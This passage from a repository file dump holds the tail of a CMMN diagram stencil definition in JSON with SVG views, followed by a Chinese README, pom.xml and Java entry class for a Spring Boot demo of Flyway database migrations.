\"activity/casetask.png\",\n    \"groups\" : [ \"Activities\" ],\n    \"propertyPackages\" : [\n      \"overrideidpackage\",\n      \"namepackage\",\n      \"documentationpackage\",\n      \"blockingpackage\",\n      \"casetaskcasereferencepackage\",\n      \"asyncpackage\",\n      \"requiredrulepackage\",\n      \"repetitionrulepackage\",\n      \"manualactivationrulepackage\",\n      \"completionneutralrulepackage\"],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"association_start\", \"association_end\", \"ActivitiesMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"ProcessTask\",\n    \"title\" : \"Process task\",\n    \"description\" : \"A reference to a process definition to start a new instance\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?> <svg xmlns=\\\"http://www.w3.org/2000/svg\\\" xmlns:svg=\\\"http://www.w3.org/2000/svg\\\" xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\" xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\" width=\\\"102\\\" height=\\\"82\\\" version=\\\"1.0\\\"> <defs></defs> <oryx:magnets> <oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" /> <oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" /> <oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" /> <oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" /> <oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" /> <oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" /> <oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" /> <oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" /> <oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" /> <oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" /> <oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" /> <oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" /> <oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" /> </oryx:magnets> <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\"> <rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" /> <rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" /> <text font-size=\\\"12\\\" id=\\\"text_name\\\" x=\\\"50\\\" y=\\\"40\\\" oryx:align=\\\"middle center\\\" oryx:fittoelem=\\\"text_frame\\\" stroke=\\\"#373e48\\\"> </text> <g id=\\\"processTask\\\" transform=\\\"scale(0.7,0.7) translate(8,8)\\\"> <path oryx:anchors=\\\"top left\\\" style=\\\"opacity:1;fill:#F4F6F7;stroke:#000000\\\" d=\\\"M1 23 L7 11 L1 0 L30 0 L 35 11 L 30 23z\\\"/> </g> <g id=\\\"required\\\" display=\\\"inherit\\\" stroke=\\\"#000000\\\"><g oryx:anchors=\\\"bottom\\\"><path fill=\\\"none\\\" oryx:anchors=\\\"bottom\\\" d=\\\"M49 67 L49 74 M49 76 L49 78\\\" transform=\\\"translate(-11,0)\\\"></path></g></g> <g id=\\\"repetition\\\" oryx:anchors=\\\"bottom\\\"><path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M47 68 v10 M50 68 v10 M53 68 v10\\\" transform=\\\"translate(10,0)\\\"/></g><g id=\\\"manualActivation\\\" display=\\\"inherit\\\" stroke=\\\"#000000\\\" oryx:anchors=\\\"bottom\\\"><path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" d=\\\"M45.5 68 L54 73 L45.5 77 L45.5 69z\\\" transform=\\\"translate(-2,0)\\\"></path></g></g></svg>\",\n    \"icon\" : \"activity/processtask.png\",\n    \"groups\" : [ \"Activities\" ],\n    \"propertyPackages\" : [\n      \"overrideidpackage\",\n      \"namepackage\",\n      \"documentationpackage\",\n      \"blockingpackage\",\n      \"processtaskprocessreferencepackage\",\n      \"asyncpackage\",\n      \"requiredrulepackage\",\n      \"repetitionrulepackage\",\n      \"manualactivationrulepackage\",\n      \"completionneutralrulepackage\"],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"association_start\", \"association_end\", \"ActivitiesMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"TimerEventListener\",\n    \"title\" : \"Timer event listener\",\n    \"description\" : \"An eventlistener with a timer trigger\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\">\\n    <circle \\n    \\tid=\\\"bg_frame\\\" \\n    \\tcx=\\\"16\\\" \\n    \\tcy=\\\"16\\\" \\n    \\tr=\\\"15\\\" \\n    \\tstroke=\\\"#585858\\\" \\n    \\tfill=\\\"#ffffff\\\" \\n    \\tstroke-width=\\\"1\\\"\\n    \\tstyle=\\\"stroke-dasharray: 5.5, 3\\\" />\\n    <circle id=\\\"frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"15\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\"/>\\n    \\n    <path id=\\\"path1\\\" transform=\\\"translate(6,6)\\\"\\n    \\td=\\\"M 10 0 C 4.4771525 0 0 4.4771525 0 10 C 0 15.522847 4.4771525 20 10 20 C 15.522847 20 20 15.522847 20 10 C 20 4.4771525 15.522847 1.1842379e-15 10 0 z M 9.09375 1.03125 C 9.2292164 1.0174926 9.362825 1.0389311 9.5 1.03125 L 9.5 3.5 L 10.5 3.5 L 10.5 1.03125 C 15.063526 1.2867831 18.713217 4.9364738 18.96875 9.5 L 16.5 9.5 L 16.5 10.5 L 18.96875 10.5 C 18.713217 15.063526 15.063526 18.713217 10.5 18.96875 L 10.5 16.5 L 9.5 16.5 L 9.5 18.96875 C 4.9364738 18.713217 1.2867831 15.063526 1.03125 10.5 L 3.5 10.5 L 3.5 9.5 L 1.03125 9.5 C 1.279102 5.0736488 4.7225326 1.4751713 9.09375 1.03125 z M 9.5 5 L 9.5 8.0625 C 8.6373007 8.2844627 8 9.0680195 8 10 C 8 11.104569 8.8954305 12 10 12 C 10.931981 12 11.715537 11.362699 11.9375 10.5 L 14 10.5 L 14 9.5 L 11.9375 9.5 C 11.756642 8.7970599 11.20294 8.2433585 10.5 8.0625 L 10.5 5 L 9.5 5 z \\\"  \\n    \\tfill=\\\"#585858\\\" stroke=\\\"none\\\" />\\n   \\n\\t<text font-size=\\\"11\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"16\\\" y=\\\"33\\\" \\n\\t\\toryx:align=\\\"top center\\\" \\n\\t\\tstroke=\\\"#373e48\\\"\\n\\t></text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"activity/timereventlistener.png\",\n    \"groups\" : [ \"Event Listeners\" ],\n    \"propertyPackages\" : [\n      \"overrideidpackage\",\n      \"namepackage\",\n      \"documentationpackage\",\n      \"timerexpressionpackage\",\n      \"timerstarttriggerpackage\",\n      \"completionneutralrulepackage\"],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"association_start\", \"association_end\", \"ActivitiesMorph\", \"all\" ]\n  }, {\n      \"type\" : \"node\",\n      \"id\" : \"UserEventListener\",\n      \"title\" : \"User event listener\",\n      \"description\" : \"An listener for user events\",\n      \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?><svg xmlns=\\\"http://www.w3.org/2000/svg\\\" xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\" width=\\\"40\\\" height=\\\"40\\\" version=\\\"1.0\\\"> <defs></defs> <oryx:magnets> <oryx:magnet oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" /> </oryx:magnets> <oryx:docker oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" /> <g pointer-events=\\\"fill\\\"> <defs> <radialGradient id=\\\"background\\\" cx=\\\"10%\\\" cy=\\\"10%\\\" r=\\\"100%\\\" fx=\\\"10%\\\" fy=\\\"10%\\\"> <stop offset=\\\"0%\\\" stop-color=\\\"#ffffff\\\" stop-opacity=\\\"1\\\"/> <stop id=\\\"fill_el\\\" offset=\\\"100%\\\" stop-color=\\\"#ffffff\\\" stop-opacity=\\\"1\\\"/> </radialGradient> </defs> <circle id=\\\"bg_frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"15\\\" stroke=\\\"black\\\" fill=\\\"url(#background) white\\\" stroke-width=\\\"1\\\"/> <circle id=\\\"frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"12\\\" stroke=\\\"black\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\"/> <g id=\\\"humanTaskBlock\\\" transform=\\\"scale(0.8,0.8) translate(7.5,7)\\\" display=\\\"inherit\\\"> <path oryx:anchors=\\\"top left\\\" style=\\\"opacity:1;fill:#F4F6F7\\\" d=\\\"M0.585,24.167h24.083v-7.833c0,0-2.333-3.917-7.083-5.167h-9.25 c-4.417,1.333-7.833,5.75-7.833,5.75L0.585,24.167z\\\"/> <path oryx:anchors=\\\"top left\\\" style=\\\"opacity:1;fill:none\\\" d=\\\"M 6 20 L 6 24\\\" /> <path oryx:anchors=\\\"top left\\\" style=\\\"opacity:1;fill:none\\\" d=\\\"M 20 20 L 20 24\\\" /> <circle oryx:anchors=\\\"top left\\\" fill=\\\"#000000\\\" cx=\\\"13.002\\\" cy=\\\"5.916\\\" r=\\\"5.417\\\"/> <path oryx:anchors=\\\"top left\\\" style=\\\"opacity:1;fill:#F0EFF0\\\" d=\\\"M8.043,7.083c0,0,2.814-2.426,5.376-1.807s4.624-0.693,4.624-0.693 c0.25,1.688,0.042,3.75-1.458,5.584c0,0,1.083,0.75,1.083,1.5s0.125,1.875-1,3s-5.5,1.25-6.75,0S8.668,12.834,8.668,12 s0.583-1.25,1.25-1.917C8.835,9.5,7.419,7.708,8.043,7.083z\\\"/> </g> <text font-size=\\\"11\\\" id=\\\"text_name\\\" x=\\\"16\\\" y=\\\"33\\\" oryx:align=\\\"top center\\\" stroke=\\\"black\\\" ></text> </g></svg>\",\n      \"icon\" : \"event/userlistener.png\",\n      \"groups\" : [ \"Event Listeners\" ],\n      \"propertyPackages\" : [\n        \"overrideidpackage\",\n        \"namepackage\",\n        \"documentationpackage\",\n        \"completionneutralrulepackage\"],\n      \"hiddenPropertyPackages\" : [ ],\n      \"roles\" : [ \"Activity\", \"association_start\", \"association_end\", \"ActivitiesMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"EntryCriterion\",\n    \"title\" : \"Entry criterion\",\n    \"description\" : \"A sentry that defines an entry criterion\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\" standalone=\\\"no\\\" ?><svg xmlns=\\\"http://www.w3.org/2000/svg\\\" xmlns:svg=\\\"http://www.w3.org/2000/svg\\\" xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\" xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\" width=\\\"14\\\"  height=\\\"22\\\" version=\\\"1.0\\\"> <oryx:magnets><oryx:magnet oryx:cx=\\\"8\\\" oryx:cy=\\\"10\\\" oryx:default=\\\"yes\\\" /></oryx:magnets><oryx:docker oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" /><g pointer-events=\\\"fill\\\"><defs><radialGradient id=\\\"background\\\" cx=\\\"10%\\\" cy=\\\"10%\\\" r=\\\"100%\\\" fx=\\\"10%\\\" fy=\\\"10%\\\"><stop offset=\\\"0%\\\" stop-color=\\\"#ffffff\\\" stop-opacity=\\\"1\\\"/><stop id=\\\"fill_el\\\" offset=\\\"100%\\\" stop-color=\\\"#ffffff\\\" stop-opacity=\\\"1\\\"/></radialGradient></defs><polygon id=\\\"bg_frame\\\" points=\\\"7 0  14 11  7 22 0 11\\\" fill=\\\"url(#background) #ffffff\\\" stroke=\\\"#000000\\\"/></g></svg>\",\n    \"icon\" : \"sentry/entry.png\",\n    \"groups\" : [ \"Sentries\" ],\n    \"propertyPackages\" : [\n      \"overrideidpackage\",\n      \"namepackage\",\n      \"documentationpackage\",\n      \"ifpartconditionpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"association_start\", \"association_end\", \"SentriesMorph\", \"EntryCriterionOnItemBoundary\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"ExitCriterion\",\n    \"title\" : \"Exit criterion\",\n    \"description\" : \"A sentry that defines an exit criterion\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\" standalone=\\\"no\\\" ?><svg xmlns=\\\"http://www.w3.org/2000/svg\\\" xmlns:svg=\\\"http://www.w3.org/2000/svg\\\" xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\" xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\" width=\\\"14\\\"  height=\\\"22\\\" version=\\\"1.0\\\"> <oryx:magnets><oryx:magnet oryx:cx=\\\"8\\\" oryx:cy=\\\"10\\\" oryx:default=\\\"yes\\\" /></oryx:magnets><oryx:docker oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" /><g pointer-events=\\\"fill\\\"><defs><radialGradient id=\\\"background\\\" cx=\\\"10%\\\" cy=\\\"10%\\\" r=\\\"100%\\\" fx=\\\"10%\\\" fy=\\\"10%\\\"><stop offset=\\\"0%\\\" stop-color=\\\"#ffffff\\\" stop-opacity=\\\"1\\\"/><stop id=\\\"fill_el\\\" offset=\\\"100%\\\" stop-color=\\\"#000000\\\" stop-opacity=\\\"1\\\"/></radialGradient></defs><polygon id=\\\"bg_frame\\\" points=\\\"7 0  14 11  7 22 0 11\\\" fill=\\\"url(#background) #000000\\\" /></g></svg>\",\n    \"icon\" : \"sentry/exit.png\",\n    \"groups\" : [ \"Sentries\" ],\n    \"propertyPackages\" : [\n      \"overrideidpackage\",\n      \"namepackage\",\n      \"documentationpackage\",\n      \"ifpartconditionpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"association_start\", \"SentriesMorph\", \"ExitCriterionOnItemBoundary\" ]\n  }, {\n    \"type\" : \"edge\",\n    \"id\" : \"Association\",\n    \"title\" : \"Association\",\n    \"description\" : \"Associates a sentry with a plan item.\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\r\\n<svg\\r\\n\\txmlns=\\\"http://www.w3.org/2000/svg\\\"\\r\\n\\txmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\r\\n\\tversion=\\\"1.0\\\"\\r\\n\\toryx:edge=\\\"edge\\\" >\\r\\n\\t<g id=\\\"edge\\\">\\r\\n\\t    <path id=\\\"bg_frame\\\" d=\\\"M10 50 L210 50\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"2\\\" stroke-dasharray=\\\"3, 4\\\" />\\r\\n\\t\\t<text id=\\\"name\\\" x=\\\"0\\\" y=\\\"0\\\" oryx:edgePosition=\\\"midTop\\\" oryx:offsetTop=\\\"6\\\" style=\\\"font-size:9px;\\\"/>\\r\\n\\t</g>\\r\\n</svg>\",\n    \"icon\" : \"connection/connector.png\",\n    \"groups\" : [ \"Connectors\" ],\n    \"layout\" : [ {\n      \"type\" : \"layout.bpmn2_0.sequenceflow\"\n    } ],\n    \"propertyPackages\" : [\n      \"overrideidpackage\",\n      \"namepackage\",\n      \"documentationpackage\",\n      \"transitioneventpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"ConnectingObjectsMorph\", \"all\" ]\n  }],\n  \"rules\" : {\n    \"cardinalityRules\" : [ {\n      \"role\" : \"Startevents_all\",\n      \"incomingEdges\" : [ {\n        \"role\" : \"Association\",\n        \"maximum\" : 0\n      } ]\n    }, {\n      \"role\" : \"Endevents_all\",\n      \"outgoingEdges\" : [ {\n        \"role\" : \"Association\",\n        \"maximum\" : 0\n      } ]\n    }],\n    \"connectionRules\" : [ {\n      \"role\" : \"Association\",\n      \"connects\" : [ {\n        \"from\" : \"association_start\",\n        \"to\" : [ \"association_end\" ]\n      }]\n    }, {\n      \"role\" : \"EntryCriterionOnItemBoundary\",\n      \"connects\" : [ {\n        \"from\" : \"Activity\",\n        \"to\" : [ \"EntryCriterionOnItemBoundary\"]\n      }, {\n        \"from\" : \"StageActivity\",\n        \"to\" : [ \"EntryCriterionOnItemBoundary\"]\n      }]\n    }, {\n        \"role\" : \"ExitCriterionOnItemBoundary\",\n        \"connects\" : [ {\n          \"from\" : \"Activity\",\n          \"to\" : [ \"ExitCriterionOnItemBoundary\" ]\n        }, {\n          \"from\" : \"StageActivity\",\n          \"to\" : [ \"ExitCriterionOnItemBoundary\"]\n        }, {\n          \"from\" : \"StageModelActivity\",\n          \"to\" : [ \"ExitCriterionOnItemBoundary\"]\n        }\n      ]}\n    ],\n    \"containmentRules\" : [ {\n      \"role\" : \"CaseDiagram\",\n      \"contains\" : [ \"CasePlanModel\", \"ExitCriterion\" ]\n    }, {\n      \"role\" : \"CasePlanModel\",\n      \"contains\" : [ \"all\" ]\n    }, {\n      \"role\" : \"Stage\",\n      \"contains\" : [ \"all\" ]\n    }],\n    \"morphingRules\" : [ {\n      \"role\" : \"ActivitiesMorph\",\n      \"baseMorphs\" : [ \"CaseTask\" ],\n      \"preserveBounds\" : true\n    }, {\n      \"role\" : \"SentriesMorph\",\n      \"baseMorphs\" : [ \"EntryCriterion\" ],\n      \"preserveBounds\" : true\n    }]\n  }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flyway/README.md",
    "content": "# spring-boot-demo-flyway\n\n> 本 demo 演示了 Spring Boot 如何使用 Flyway 去初始化项目数据库，同时支持数据库脚本的版本控制。\n\n## 1. 添加依赖\n\n- Flyway 依赖\n\n```xml\n<!-- 添加 flyway 的依赖 -->\n<dependency>\n  <groupId>org.flywaydb</groupId>\n  <artifactId>flyway-core</artifactId>\n</dependency>\n```\n\n- 初始化表结构，需要操作数据库，因此引入数据库驱动以及数据源依赖（这里用 spring-boot-starter-data-jdbc）\n\n```xml\n<dependency>\n  <groupId>org.springframework.boot</groupId>\n  <artifactId>spring-boot-starter-data-jdbc</artifactId>\n</dependency>\n\n<dependency>\n  <groupId>mysql</groupId>\n  <artifactId>mysql-connector-java</artifactId>\n  <scope>runtime</scope>\n</dependency>\n```\n\n## 2. Flyway 知识补充\n\n1. Flyway 默认会去读取 `classpath:db/migration`，可以通过 `spring.flyway.locations` 去指定自定义路径，多个路径使用半角英文逗号分隔，内部资源使用 `classpath:`，外部资源使用 `file:`\n\n2. 如果项目初期没有数据库文件，但是又引用了 Flyway，那么在项目启动的时候，Flyway 会去检查是否存在 SQL 文件，此时你需要将这个检查关闭，`spring.flyway.check-location = false`\n\n3. Flyway 会在项目初次启动的时候创建一张名为 `flyway_schema_history` 的表，在这张表里记录数据库脚本执行的历史记录，当然，你可以通过 `spring.flyway.table` 去修改这个值\n\n4. Flyway 执行的 SQL 脚本必须遵循一种命名规则，`V<VERSION>__<NAME>.sql` 首先是 `V` ，然后是版本号，如果版本号有多个数字，使用`_`分隔，比如`1_0`、`1_1`，版本号的后面是 2 个下划线，最后是 SQL 脚本的名称。\n\n   **这里需要注意：V 开头的只会执行一次，下次项目启动不会执行，也不可以修改原始文件，否则项目启动会报错，如果需要对 V 开头的脚本做修改，需要清空`flyway_schema_history`表，如果有个 SQL 脚本需要在每次启动的时候都执行，那么将 V 改为 `R` 开头即可**\n\n5. Flyway 默认情况下会去清空原始库，再重新执行 SQL 脚本，这在生产环境下是不可取的，因此需要将这个配置关闭，`spring.flyway.clean-disabled = true`\n\n## 3. application.yml 配置\n\n> 贴出我的 application.yml 配置\n\n```yaml\nspring:\n  flyway:\n    enabled: true\n    # 迁移前校验 SQL 文件是否存在问题\n    validate-on-migrate: true\n    # 生产环境一定要关闭\n    clean-disabled: true\n    # 校验路径下是否存在 SQL 文件\n    check-location: false\n    # 最开始已经存在表结构，且不存在 flyway_schema_history 表时，需要设置为 true\n    baseline-on-migrate: true\n    # 基础版本 0\n    baseline-version: 0\n  datasource:\n    url: jdbc:mysql://127.0.0.1:3306/flyway-test?useSSL=false\n    username: root\n    password: root\n    type: com.zaxxer.hikari.HikariDataSource\n```\n\n## 4. 测试\n\n### 4.1. 测试 1.0 版本的 SQL 脚本\n\n创建 `V1_0__INIT.sql` \n\n```mysql\nDROP TABLE IF EXISTS `t_user`;\nCREATE TABLE `t_user` (\n  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键',\n  `username` varchar(32) NOT NULL COMMENT '用户名',\n  `password` varchar(32) NOT NULL COMMENT '加密后的密码',\n  `salt` varchar(32) NOT NULL COMMENT '加密使用的盐',\n  `email` varchar(32) NOT NULL COMMENT '邮箱',\n  `phone_number` varchar(15) NOT NULL COMMENT '手机号码',\n  `status` int(2) NOT NULL DEFAULT '1' COMMENT '状态，-1：逻辑删除，0：禁用，1：启用',\n  `create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',\n  `last_login_time` datetime DEFAULT NULL COMMENT '上次登录时间',\n  `last_update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '上次更新时间',\n  PRIMARY KEY (`id`),\n  UNIQUE KEY `username` (`username`),\n  UNIQUE KEY `email` (`email`),\n  UNIQUE KEY `phone_number` (`phone_number`)\n) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8 COMMENT='1.0-用户表';\n```\n\n启动项目，可以看到日志输出：\n\n```java\n2020-03-05 10:48:37.799  INFO 3351 --- [           main] o.f.c.internal.license.VersionPrinter    : Flyway Community Edition 5.2.1 by Boxfuse\n2020-03-05 10:48:37.802  INFO 3351 --- [           main] com.zaxxer.hikari.HikariDataSource       : HikariPool-1 - Starting...\n2020-03-05 10:48:37.971  INFO 3351 --- [           main] com.zaxxer.hikari.HikariDataSource       : HikariPool-1 - Start completed.\n2020-03-05 10:48:37.974  INFO 3351 --- [           main] o.f.c.internal.database.DatabaseFactory  : Database: jdbc:mysql://127.0.0.1:3306/flyway-test (MySQL 5.7)\n2020-03-05 10:48:38.039  INFO 3351 --- [           main] o.f.core.internal.command.DbValidate     : Successfully validated 1 migration (execution time 00:00.015s)\n2020-03-05 10:48:38.083  INFO 3351 --- [           main] o.f.c.i.s.JdbcTableSchemaHistory         : Creating Schema History table: `flyway-test`.`flyway_schema_history`\n2020-03-05 10:48:38.143  INFO 3351 --- [           main] o.f.core.internal.command.DbMigrate      : Current version of schema `flyway-test`: << Empty Schema >>\n2020-03-05 10:48:38.144  INFO 3351 --- [           main] o.f.core.internal.command.DbMigrate      : Migrating schema `flyway-test` to version 1.0 - INIT\n2020-03-05 10:48:38.156  WARN 3351 --- [           main] o.f.c.i.s.DefaultSqlScriptExecutor       : DB: Unknown table 'flyway-test.t_user' (SQL State: 42S02 - Error Code: 1051)\n2020-03-05 10:48:38.183  INFO 3351 --- [           main] o.f.core.internal.command.DbMigrate      : Successfully applied 1 migration to schema `flyway-test` (execution time 00:00.100s)\n```\n\n检查数据库，发现创建了 2 张表，一张是 Flyway 依赖的历史表，另一张就是我们的 `t_user` 表\n\n<img src=\"assets/image-20200305105632047.png\" alt=\"image-20200305105632047\" style=\"zoom:50%;\" />\n\n查看下 `flyway-schema-history` 表\n\n<img src=\"assets/image-20200305110147176.png\" alt=\"image-20200305110147176\" style=\"zoom:50%;\" />\n\n### 4.2. 测试 1.1 版本的 SQL 脚本\n\n创建 `V1_1__ALTER.sql` \n\n```mysql\nALTER TABLE t_user COMMENT = '用户 v1.1';\n```\n\n启动项目，可以看到日志输出：\n\n```java\n2020-03-05 10:59:02.279  INFO 3536 --- [           main] o.f.c.internal.license.VersionPrinter    : Flyway Community Edition 5.2.1 by Boxfuse\n2020-03-05 10:59:02.282  INFO 3536 --- [           main] com.zaxxer.hikari.HikariDataSource       : HikariPool-1 - Starting...\n2020-03-05 10:59:02.442  INFO 3536 --- [           main] com.zaxxer.hikari.HikariDataSource       : HikariPool-1 - Start completed.\n2020-03-05 10:59:02.445  INFO 3536 --- [           main] o.f.c.internal.database.DatabaseFactory  : Database: jdbc:mysql://127.0.0.1:3306/flyway-test (MySQL 5.7)\n2020-03-05 10:59:02.530  INFO 3536 --- [           main] o.f.core.internal.command.DbValidate     : Successfully validated 2 migrations (execution time 00:00.018s)\n2020-03-05 10:59:02.538  INFO 3536 --- [           main] o.f.core.internal.command.DbMigrate      : Current version of schema `flyway-test`: 1.0\n2020-03-05 10:59:02.538  INFO 3536 --- [           main] o.f.core.internal.command.DbMigrate      : Migrating schema `flyway-test` to version 1.1 - ALTER\n2020-03-05 10:59:02.564  INFO 3536 --- [           main] o.f.core.internal.command.DbMigrate      : Successfully applied 1 migration to schema `flyway-test` (execution time 00:00.029s)\n```\n\n检查数据库，可以发现 `t_user` 表的注释已经更新\n\n<img src=\"assets/image-20200305105958181.png\" alt=\"image-20200305105958181\" style=\"zoom:50%;\" />\n\n查看下 `flyway-schema-history` 表\n\n<img src=\"assets/image-20200305110057768.png\" alt=\"image-20200305110057768\" style=\"zoom:50%;\" />\n\n## 参考\n\n1. [Spring Boot 官方文档 - Migration 章节](https://docs.spring.io/spring-boot/docs/2.1.0.RELEASE/reference/htmlsingle/#howto-execute-flyway-database-migrations-on-startup)\n2. [Flyway 官方文档](https://flywaydb.org/documentation/)"
  },
  {
    "path": "jun_springboot_plugin/springboot_flyway/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <artifactId>springboot_flyway</artifactId>\n  <version>1.0</version>\n  <packaging>jar</packaging>\n\n  <name>springboot_flyway</name>\n  <description>Demo project for Spring Boot</description>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <java.version>1.8</java.version>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-web</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n\n    <!-- 添加 flyway 的依赖 -->\n    <dependency>\n      <groupId>org.flywaydb</groupId>\n      <artifactId>flyway-core</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-data-jdbc</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>mysql</groupId>\n      <artifactId>mysql-connector-java</artifactId>\n      <scope>runtime</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <finalName>springboot_flyway</finalName>\n    <plugins>\n      <plugin>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-maven-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flyway/src/main/java/com/jun/plugin/flyway/SpringBootDemoFlywayApplication.java",
    "content": "package com.jun.plugin.flyway;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动器\n * </p>\n *\n * @author Wujun\n * @date Created in 2020/3/4 18:30\n */\n@SpringBootApplication\npublic class SpringBootDemoFlywayApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoFlywayApplication.class, args);\n    }\n\n}\n"
  },
  {
